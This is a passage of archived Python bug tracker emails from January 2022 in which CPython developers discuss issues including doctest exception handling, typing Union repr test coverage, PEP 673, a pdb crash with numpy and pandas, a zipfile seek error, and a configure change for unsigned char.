2022 10:06:24 +0000 Subject: [issue43698] Use syntactically correct examples on abc package page In-Reply-To: <1617301119.32.0.268651511376.issue43698@roundup.psfhosted.org> Message-ID: <1643191584.66.0.816295084678.issue43698@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29097 pull_request: https://github.com/python/cpython/pull/30918 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:07:07 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 26 Jan 2022 10:07:07 +0000 Subject: [issue46531] Simplify exception handling in `doctest.py` In-Reply-To: <1643190170.89.0.603185613545.issue46531@roundup.psfhosted.org> Message-ID: <1643191627.79.0.0654880551462.issue46531@roundup.psfhosted.org> Nikita Sobolev added the comment: Fair enough! The only improvement is that we don't call `sys.exc_info` twice here: https://github.com/python/cpython/blob/6e5a193816e1bdf11f5fb78d620995fd6987ccf8/Lib/doctest.py#L2641-L2644 But, I think it is a minor thing. Looks like I've misunderstood the long time goal of `sys.exc_info` refactorings. Thanks a lot for the feedback! ---------- resolution: -> not a bug stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:13:16 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 26 Jan 2022 10:13:16 +0000 Subject: [issue46529] Improve test coverage of `Union` and `Optional` repr() In-Reply-To: <1643186348.67.0.481698382701.issue46529@roundup.psfhosted.org> Message-ID: <1643191996.87.0.332905232775.issue46529@roundup.psfhosted.org> Ken Jin added the comment: New changeset d0c690b5f85c679de6059cf353fe0524e905530e by Nikita Sobolev in branch 'main': bpo-46529: increase coverage of `typing.Union.__repr__` method (GH-30911) https://github.com/python/cpython/commit/d0c690b5f85c679de6059cf353fe0524e905530e ---------- message_count: 1.0 -> 2.0 nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +29098 pull_request: https://github.com/python/cpython/pull/30919 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:13:16 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 26 Jan 2022 10:13:16 +0000 Subject: [issue46529] Improve test coverage of `Union` and `Optional` repr() In-Reply-To: <1643186348.67.0.481698382701.issue46529@roundup.psfhosted.org> Message-ID: <1643191996.87.0.332905232775.issue46529@roundup.psfhosted.org> Ken Jin added the comment: New changeset d0c690b5f85c679de6059cf353fe0524e905530e by Nikita Sobolev in branch 'main': bpo-46529: increase coverage of `typing.Union.__repr__` method (GH-30911) https://github.com/python/cpython/commit/d0c690b5f85c679de6059cf353fe0524e905530e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:13:20 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 10:13:20 +0000 Subject: [issue46529] Improve test coverage of `Union` and `Optional` repr() In-Reply-To: <1643186348.67.0.481698382701.issue46529@roundup.psfhosted.org> Message-ID: <1643192000.81.0.299956008794.issue46529@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29099 pull_request: https://github.com/python/cpython/pull/30920 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:16:22 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 Jan 2022 10:16:22 +0000 Subject: [issue46531] Simplify exception handling in `doctest.py` In-Reply-To: <1643190170.89.0.603185613545.issue46531@roundup.psfhosted.org> Message-ID: <1643192182.07.0.532703947919.issue46531@roundup.psfhosted.org> Irit Katriel added the comment: In the long term we will want to not have the triplet, but this is a process that will take a few python versions to complete (when 3.11 is the oldest supported version). And it is not going to be simple. In the meantime, where there is an advantage to removing exc_info because the code would be simplified or something else is changing nearby, we can do it. But I wouldn't remove exc_info just for the sake of it - such code churn makes it hard to backport other changes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:39:51 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 10:39:51 +0000 Subject: [issue46529] Improve test coverage of `Union` and `Optional` repr() In-Reply-To: <1643186348.67.0.481698382701.issue46529@roundup.psfhosted.org> Message-ID: <1643193591.34.0.888596233985.issue46529@roundup.psfhosted.org> miss-islington added the comment: New changeset c730342005edf67333c37b575b419e2fc67d232b by Miss Islington (bot) in branch '3.10': bpo-46529: increase coverage of `typing.Union.__repr__` method (GH-30911) https://github.com/python/cpython/commit/c730342005edf67333c37b575b419e2fc67d232b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:40:22 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 26 Jan 2022 10:40:22 +0000 Subject: [issue46533] Specialize for staticmethods and classmethods In-Reply-To: <1643191278.03.0.471360623467.issue46533@roundup.psfhosted.org> Message-ID: <1643193622.61.0.20334286995.issue46533@roundup.psfhosted.org> Ken Jin added the comment: Slightly off topic rambling: My own toy attempts at classmethod specialization suggested that it barely sped anything up. Most of the time went to creation of the new classmethod object. I'd imagine supporting Py_TPFLAGS_METHOD_DESCRIPTOR would speed things up, but they cover such a small % of calls that Py_TPFLAGS_METHOD_DESCRIPTOR's complexity might not be worth it. Increasing specialization percentage is always a plus though. LOAD_METHOD needs better specialization success rates. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:40:47 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 10:40:47 +0000 Subject: [issue46529] Improve test coverage of `Union` and `Optional` repr() In-Reply-To: <1643186348.67.0.481698382701.issue46529@roundup.psfhosted.org> Message-ID: <1643193647.22.0.897551153003.issue46529@roundup.psfhosted.org> miss-islington added the comment: New changeset 29eefcc9c688bc4097f2660de1fa846c5ea54735 by Miss Islington (bot) in branch '3.9': bpo-46529: increase coverage of `typing.Union.__repr__` method (GH-30911) https://github.com/python/cpython/commit/29eefcc9c688bc4097f2660de1fa846c5ea54735 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:41:20 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Wed, 26 Jan 2022 10:41:20 +0000 Subject: [issue34680] asyncio event_loop fails when accessed from multiple threads In-Reply-To: <1536939208.48.0.956365154283.issue34680@psf.upfronthosting.co.za> Message-ID: <1643193680.23.0.043967559987.issue34680@roundup.psfhosted.org> Andrew Svetlov added the comment: BaseEventLoop has _check_loop() method that is closed in debug mode only. UnixEventLoop doesn't call this method for unix-specific API. Adding the check to add_signal_handler()/remove_signal_handler() doesn't hurt, sure. But it doesn't help as the script is executed in non-debug mode. Performing a check on every call_soon() call kills the performance, that's why debug mode is required. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:46:42 2022 From: report at bugs.python.org (Kinshuk Dua) Date: Wed, 26 Jan 2022 10:46:42 +0000 Subject: [issue23556] [doc] Scope for raise without argument is different in Python 2 and 3 In-Reply-To: <1425212072.31.0.66074782686.issue23556@psf.upfronthosting.co.za> Message-ID: <1643194002.0.0.914068545819.issue23556@roundup.psfhosted.org> Kinshuk Dua added the comment: @iritkatriel I thought the PR won't be reviewed after being marked as stale that's why I closed it. I've reopened it and I'm interested in finishing it. ---------- nosy: +kinshukdua2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:57:52 2022 From: report at bugs.python.org (Gobot1234) Date: Wed, 26 Jan 2022 10:57:52 +0000 Subject: [issue46534] Implementing PEP 673 (Self type) Message-ID: <1643194672.13.0.506968505606.issue46534@roundup.psfhosted.org> New submission from Gobot1234 : See [PEP 673](https://www.python.org/dev/peps/pep-0673) I'm planning to implement this in cpython some point today. ---------- components: Library (Lib) messages: 411736 nosy: Gobot1234, Jelle Zijlstra, gvanrossum, kj priority: normal severity: normal status: open title: Implementing PEP 673 (Self type) type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 06:02:02 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 26 Jan 2022 11:02:02 +0000 Subject: [issue46534] Implementing PEP 673 (Self type) In-Reply-To: <1643194672.13.0.506968505606.issue46534@roundup.psfhosted.org> Message-ID: <1643194922.35.0.0266163612777.issue46534@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +AlexWaygood, sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 06:11:01 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 26 Jan 2022 11:11:01 +0000 Subject: [issue46533] Specialize for staticmethods and classmethods In-Reply-To: <1643191278.03.0.471360623467.issue46533@roundup.psfhosted.org> Message-ID: <1643195461.79.0.974638487251.issue46533@roundup.psfhosted.org> Mark Shannon added the comment: For classmethods, I expect the savings to come from not creating a bound-method and from better specialization of the following call. classmethod case: >>> class C: ... @classmethod ... def m(*args): ... pass ... >>> C.m > >>> C().m > So, without specialization LOAD_METHOD "m" has the following stack effect (with `x = C()`): x -> NULL C -> NULL With specialization: x -> C C -> C For static methods the saving is less as there is no change in stack effect, but we do save the lookup, and we can reuse existing bytecodes. Neither classmethod or staticmethod should have Py_TPFLAGS_METHOD_DESCRIPTOR set, as they have different semantics. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 06:20:07 2022 From: report at bugs.python.org (Stefan Ecklebe) Date: Wed, 26 Jan 2022 11:20:07 +0000 Subject: [issue46535] Possible bug: pdb causes exception Message-ID: <1643196007.05.0.419885868096.issue46535@roundup.psfhosted.org> New submission from Stefan Ecklebe : Consider a script called snippet.py, containing the lines ------------------------------------------ import numpy as np import pandas as pd np.finfo(float) idx = pd.MultiIndex.from_tuples([(1, 2)]) np.finfo(float) print("Done") ------------------------------------------ When running via 'python snippet.py' no errors occur. However when running via 'python -m pdb snippet.py' the following happens: > snippet.py(1)() -> import numpy as np (Pdb) r --Return-- > snippet.py(6)()->None -> np.finfo(float) (Pdb) c Traceback (most recent call last): File "VENV/lib/python3.10/site-packages/numpy/core/getlimits.py", line 459, in __new__ dtype = numeric.dtype(dtype) TypeError: 'NoneType' object is not callable During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/usr/lib/python3.10/pdb.py", line 1723, in main pdb._runscript(mainpyfile) File "/usr/lib/python3.10/pdb.py", line 1583, in _runscript self.run(statement) File "/usr/lib/python3.10/bdb.py", line 597, in run exec(cmd, globals, locals) File "", line 1, in File "snippet.py", line 6, in np.finfo(float) File "VENV/lib/python3.10/site-packages/numpy/core/getlimits.py", line 462, in __new__ dtype = numeric.dtype(type(dtype)) TypeError: 'NoneType' object is not callable Uncaught exception. Entering post mortem debugging Running 'cont' or 'step' will restart the program Commenting the MultiIndex line will will get rid of the problem but I am not quite sure why. Please note that this error only occurs if the script is run via 'r' in pdb. Running via 'c' does not cause any problems. Therefore, I suspect that the problem may be with pdb instead of the external packages. My setup: $ python --version Python 3.10.1 $ pip list | grep numpy numpy 1.22.1 $ pip list | grep pandas pandas 1.4.0 ---------- components: Library (Lib) messages: 411738 nosy: cklb priority: normal severity: normal status: open title: Possible bug: pdb causes exception type: crash versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 06:21:08 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 26 Jan 2022 11:21:08 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643196068.82.0.527798616272.issue46513@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 04772cd6f164c1219c8c74d55626ba114f01aa96 by Christian Heimes in branch '3.9': [3.9] bpo-46513: Remove AC_C_CHAR_UNSIGNED / __CHAR_UNSIGNED__ (GH-30851) (GH-30915) https://github.com/python/cpython/commit/04772cd6f164c1219c8c74d55626ba114f01aa96 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 06:21:08 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 26 Jan 2022 11:21:08 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643196068.88.0.119950105089.issue46513@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 4371fbd4328781496f5f2c6938c4d9a84049b187 by Christian Heimes in branch '3.10': [3.10] bpo-46513: Remove AC_C_CHAR_UNSIGNED / __CHAR_UNSIGNED__ (GH-30851) (GH-30914) https://github.com/python/cpython/commit/4371fbd4328781496f5f2c6938c4d9a84049b187 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 06:21:08 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 26 Jan 2022 11:21:08 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643196068.82.0.527798616272.issue46513@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 04772cd6f164c1219c8c74d55626ba114f01aa96 by Christian Heimes in branch '3.9': [3.9] bpo-46513: Remove AC_C_CHAR_UNSIGNED / __CHAR_UNSIGNED__ (GH-30851) (GH-30915) https://github.com/python/cpython/commit/04772cd6f164c1219c8c74d55626ba114f01aa96 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 06:21:50 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 26 Jan 2022 11:21:50 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643196110.25.0.0760861672803.issue46513@roundup.psfhosted.org> Christian Heimes added the comment: The fix is in all stable branches. Thanks! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 06:56:35 2022 From: report at bugs.python.org (Batuhan Taskaya) Date: Wed, 26 Jan 2022 11:56:35 +0000 Subject: [issue46520] `ast.unparse` produces syntactically illegal code for identifiers that look like reserved words In-Reply-To: <1643123177.1.0.632269925829.issue46520@roundup.psfhosted.org> Message-ID: <1643198195.64.0.877913865567.issue46520@roundup.psfhosted.org> Batuhan Taskaya added the comment: Technically, this is a bug on the fact that it breaks the only guarantee of ast.unparse: > Unparse an ast.AST object and generate a string with code that would produce an equivalent ast.AST object if parsed back with ast.parse(). But I am not really sure if it should be handled at all, since we don't have access to the original form of the identifier in the AST due to the parser's normalization behavior. If we want to only create a source that would give the same AST, abusing the fact that original keywords are always basic ASCII we could embed a map of characters that convert ASCII 'a', 'b', 'c', ... to their most similar unicode versions (https://util.unicode.org/UnicodeJsps/confusables.jsp). But I feel like this is a terrible idea, with no possible gain (very limited use case) and very prone to a lot of confusions. I think just adding a warning to the documentation regarding this should be the definite resolution, unless @pablogsal has any other idea. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 07:02:21 2022 From: report at bugs.python.org (Kumar Aditya) Date: Wed, 26 Jan 2022 12:02:21 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1643198541.97.0.536097012825.issue45925@roundup.psfhosted.org> Change by Kumar Aditya : ---------- pull_requests: +29100 pull_request: https://github.com/python/cpython/pull/30921 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 07:07:20 2022 From: report at bugs.python.org (Nova) Date: Wed, 26 Jan 2022 12:07:20 +0000 Subject: [issue46487] `_SSLProtocolTransport` doesn't have the `get_write_buffer_limits` implementation. In-Reply-To: <1642956579.88.0.874451356364.issue46487@roundup.psfhosted.org> Message-ID: <1643198840.89.0.356440150176.issue46487@roundup.psfhosted.org> Change by Nova : ---------- versions: +Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 07:29:11 2022 From: report at bugs.python.org (Kumar Aditya) Date: Wed, 26 Jan 2022 12:29:11 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643200151.87.0.909401288385.issue46524@roundup.psfhosted.org> Kumar Aditya added the comment: Would it be possible to skip these tests when no changes to the parser related code are made to speed up tests? ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 07:38:33 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 Jan 2022 12:38:33 +0000 Subject: [issue34680] asyncio event_loop fails when accessed from multiple threads In-Reply-To: <1536939208.48.0.956365154283.issue34680@psf.upfronthosting.co.za> Message-ID: <1643200713.87.0.451386833549.issue34680@roundup.psfhosted.org> Irit Katriel added the comment: Perhaps this is just a doc issue - state explicitly that a loop should be used only in one thread, and mention that this is checked in debug mode. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 07:39:55 2022 From: report at bugs.python.org (Tal Einat) Date: Wed, 26 Jan 2022 12:39:55 +0000 Subject: [issue45578] Missing tests for the dis module In-Reply-To: <1634926558.7.0.911953252083.issue45578@roundup.psfhosted.org> Message-ID: <1643200795.84.0.192263270739.issue45578@roundup.psfhosted.org> Tal Einat added the comment: Thanks for your work on this Nikita! ---------- nosy: +taleinat resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 07:42:29 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 12:42:29 +0000 Subject: [issue43698] Use syntactically correct examples on abc package page In-Reply-To: <1617301119.32.0.268651511376.issue43698@roundup.psfhosted.org> Message-ID: <1643200949.7.0.722732325499.issue43698@roundup.psfhosted.org> miss-islington added the comment: New changeset a57ec7a4feaf24f470a9d1e5b1b3f2cb1b062af7 by Miss Islington (bot) in branch '3.10': bpo-43698: do not use `...` as argument name in docs (GH-30502) https://github.com/python/cpython/commit/a57ec7a4feaf24f470a9d1e5b1b3f2cb1b062af7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 07:42:42 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 12:42:42 +0000 Subject: [issue43698] Use syntactically correct examples on abc package page In-Reply-To: <1617301119.32.0.268651511376.issue43698@roundup.psfhosted.org> Message-ID: <1643200962.84.0.116327669752.issue43698@roundup.psfhosted.org> miss-islington added the comment: New changeset 49971b2d1890c15eeec2d83ea3e8d178f266c4f9 by Miss Islington (bot) in branch '3.9': bpo-43698: do not use `...` as argument name in docs (GH-30502) https://github.com/python/cpython/commit/49971b2d1890c15eeec2d83ea3e8d178f266c4f9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 08:34:28 2022 From: report at bugs.python.org (The vivid & versatile channel) Date: Wed, 26 Jan 2022 13:34:28 +0000 Subject: [issue46536] Better for loop Message-ID: <1643204067.99.0.286470434211.issue46536@roundup.psfhosted.org> New submission from The vivid & versatile channel : for i in range(number), question in questions: ... instead of for i, question in zip(range(number), questions): ... ---------- messages: 411748 nosy: vividnversatile1 priority: normal severity: normal status: open title: Better for loop type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 08:39:27 2022 From: report at bugs.python.org (Anonymous) Date: Wed, 26 Jan 2022 13:39:27 +0000 Subject: [issue46536] Better for loop In-Reply-To: <1643204067.99.0.286470434211.issue46536@roundup.psfhosted.org> Message-ID: <1643204367.28.0.680789918247.issue46536@roundup.psfhosted.org> Change by Anonymous : ---------- nosy: +me -vividnversatile1 resolution: -> not a bug _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 08:50:59 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 Jan 2022 13:50:59 +0000 Subject: [issue46505] Simplify exception handling code in py_compile In-Reply-To: <1643051870.94.0.705340615931.issue46505@roundup.psfhosted.org> Message-ID: <1643205059.87.0.72467995521.issue46505@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> wont fix stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 09:05:14 2022 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 26 Jan 2022 14:05:14 +0000 Subject: [issue46536] Better for loop In-Reply-To: <1643204067.99.0.286470434211.issue46536@roundup.psfhosted.org> Message-ID: <1643205914.31.0.975363941746.issue46536@roundup.psfhosted.org> Eric V. Smith added the comment: Thank you for the suggestion. This is unlikely to gain acceptance. zip is usable in places outside of for loops, whereas your suggestion appears to be only useful in for loops. In addition, I don't see a way to specify the "strict" option using your syntax. Your syntax also doesn't seem to add any new functionality or expressiveness to python, which is one of the usual criteria for adding new syntax. I'm going to close this, but if you'd like to pursue it, I suggest opening a discussion on the python-ideas mailing list. ---------- nosy: +eric.smith resolution: not a bug -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 09:14:52 2022 From: report at bugs.python.org (Martin Forster) Date: Wed, 26 Jan 2022 14:14:52 +0000 Subject: [issue46537] zipfile crash on windows, detected during pip install pyodbc-4.0.32-cp310-cp310-win_amd64.whl Message-ID: <1643206492.89.0.988860575159.issue46537@roundup.psfhosted.org> New submission from Martin Forster : pyth10n 3.10.1, windows x64 install of yodbc-4.0.32-cp310-cp310-win_amd64.whl crashes. pos: 74196 pos: 74226 pos: -3 ERROR: Could not install packages due to an OSError. Traceback (most recent call last): File "C:\git\idfunctiondb\venv\lib\site-packages\pip\_internal\commands\install.py", line 390, in run installed = install_given_reqs( File "C:\git\idfunctiondb\venv\lib\site-packages\pip\_internal\req\__init__.py", line 73, in install_given_reqs requirement.install( File "C:\git\idfunctiondb\venv\lib\site-packages\pip\_internal\req\req_install.py", line 758, in install install_wheel( File "C:\git\idfunctiondb\venv\lib\site-packages\pip\_internal\operations\install\wheel.py", line 794, in install_wheel _install_wheel( File "C:\git\idfunctiondb\venv\lib\site-packages\pip\_internal\operations\install\wheel.py", line 637, in _install_wheel file.save() File "C:\git\idfunctiondb\venv\lib\site-packages\pip\_internal\operations\install\wheel.py", line 404, in save with self._zip_file.open(zipinfo) as f: File "C:\Python310\lib\zipfile.py", line 1520, in open fheader = zef_file.read(sizeFileHeader) File "C:\Python310\lib\zipfile.py", line 743, in read self._file.seek(self._pos) OSError: [Errno 22] Invalid argument Please note i added the line 742 with the content: print(str(self) + ' pos: ' + str(self._pos) ) to help to find the root cause. it Looks like that file.tell, returns a negative number, which kill file.seek. ---------- components: Windows messages: 411750 nosy: Martin-Forster, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: zipfile crash on windows, detected during pip install pyodbc-4.0.32-cp310-cp310-win_amd64.whl type: crash versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 09:19:06 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 26 Jan 2022 14:19:06 +0000 Subject: [issue46537] zipfile crash on windows, detected during pip install pyodbc-4.0.32-cp310-cp310-win_amd64.whl In-Reply-To: <1643206492.89.0.988860575159.issue46537@roundup.psfhosted.org> Message-ID: <1643206746.42.0.154838708947.issue46537@roundup.psfhosted.org> Christian Heimes added the comment: https://pypi.org/project/pyodbc/4.0.32/#files has no wheels for Python 3.10. Where did you get the binary wheels from? ---------- nosy: +christian.heimes type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 09:29:28 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 14:29:28 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643207368.1.0.596605697368.issue46513@roundup.psfhosted.org> STINNER Victor added the comment: IMO making the assumption that "char" is signed or not in C code is bad. If Python has code like that, it must be signed to explicitly use one of these types: unsigned char or uint8_t, signed char or int8_t. Hopefully, Python can now use C99 since Python 3.6. On my x86-64 Fedora 35 (GCC 11.2.1), the "char" type is signed. I built Python with -funsigned-char and I ran the test suite: the whole test suite pass! Commands: --- make distclean ./configure --with-pydebug CFLAGS="-O0 -funsigned-char" --with-system-expat --with-system-ffi make ./python -m test -j0 -r --- Using ./configure CFLAGS, -funsigned-char is also used to build C extensions. Example: gcc (...) -O0 -funsigned-char (...) Modules/_elementtree.c (...) For completeness, I also built Python with -fsigned-char. Again, the full test suite passed ;-) --- make distclean ./configure --with-pydebug CFLAGS="-O0 -fsigned-char" --with-system-expat --with-system-ffi make ./python -m test -r -j0 --- ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 09:30:01 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 14:30:01 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643207401.09.0.0414588567216.issue46513@roundup.psfhosted.org> STINNER Victor added the comment: In short, I did my checks on my side, and the merged change now LGTM. Thanks Christian for fixing it ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 09:30:45 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 14:30:45 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643207445.77.0.448528745291.issue45382@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 09:30:51 2022 From: report at bugs.python.org (Martin Forster) Date: Wed, 26 Jan 2022 14:30:51 +0000 Subject: [issue46537] zipfile crash on windows, detected during pip install pyodbc-4.0.32-cp310-cp310-win_amd64.whl In-Reply-To: <1643206492.89.0.988860575159.issue46537@roundup.psfhosted.org> Message-ID: <1643207451.52.0.889986504563.issue46537@roundup.psfhosted.org> Martin Forster added the comment: it tried one built on my own, and the one from https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyodbc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 09:31:18 2022 From: report at bugs.python.org (Martin Forster) Date: Wed, 26 Jan 2022 14:31:18 +0000 Subject: [issue46537] zipfile crash on windows, detected during pip install pyodbc-4.0.32-cp310-cp310-win_amd64.whl In-Reply-To: <1643206492.89.0.988860575159.issue46537@roundup.psfhosted.org> Message-ID: <1643207478.38.0.58192821069.issue46537@roundup.psfhosted.org> Martin Forster added the comment: i opened a issue at pyodbc as well, https://github.com/mkleehammer/pyodbc/issues/1015 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 09:32:43 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 14:32:43 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643207563.24.0.0649317146755.issue46524@roundup.psfhosted.org> STINNER Victor added the comment: > Would it be possible to skip these tests when no changes to the parser related code are made to speed up tests? Maybe, some CIs could export an environment variable which contains the list of modified files, and then each file would be able to decide if it should be skipped or not. The risk is skipping a test because the change looks "unrelated", whereas it causes the test to fail. Currently, we only skip tests if no code is changed: if only the documentation is modified. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 09:36:00 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 26 Jan 2022 14:36:00 +0000 Subject: [issue46529] Improve test coverage of `Union` and `Optional` repr() In-Reply-To: <1643186348.67.0.481698382701.issue46529@roundup.psfhosted.org> Message-ID: <1643207760.97.0.886250323302.issue46529@roundup.psfhosted.org> Change by Ken Jin : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 10:33:12 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 26 Jan 2022 15:33:12 +0000 Subject: [issue46516] Use existing unbound_local_error label in DELETE_FAST opcode In-Reply-To: <1643112662.24.0.773924302254.issue46516@roundup.psfhosted.org> Message-ID: <1643211192.55.0.93767129041.issue46516@roundup.psfhosted.org> Ken Jin added the comment: Not sure why the merge message didn't appear here, but thanks! ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 10:42:00 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 26 Jan 2022 15:42:00 +0000 Subject: [issue46533] Specialize for staticmethods and classmethods In-Reply-To: <1643191278.03.0.471360623467.issue46533@roundup.psfhosted.org> Message-ID: <1643211720.25.0.509392318986.issue46533@roundup.psfhosted.org> Ken Jin added the comment: Ah woops, my bad, I mixed up the two concepts. Thanks for the thorough explanation here! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 10:43:15 2022 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 26 Jan 2022 15:43:15 +0000 Subject: [issue45703] importlib.invalidate_caches() does not invalidate _NamespacePath's _last_parent_path-based cache In-Reply-To: <1635938516.86.0.42328943914.issue45703@roundup.psfhosted.org> Message-ID: 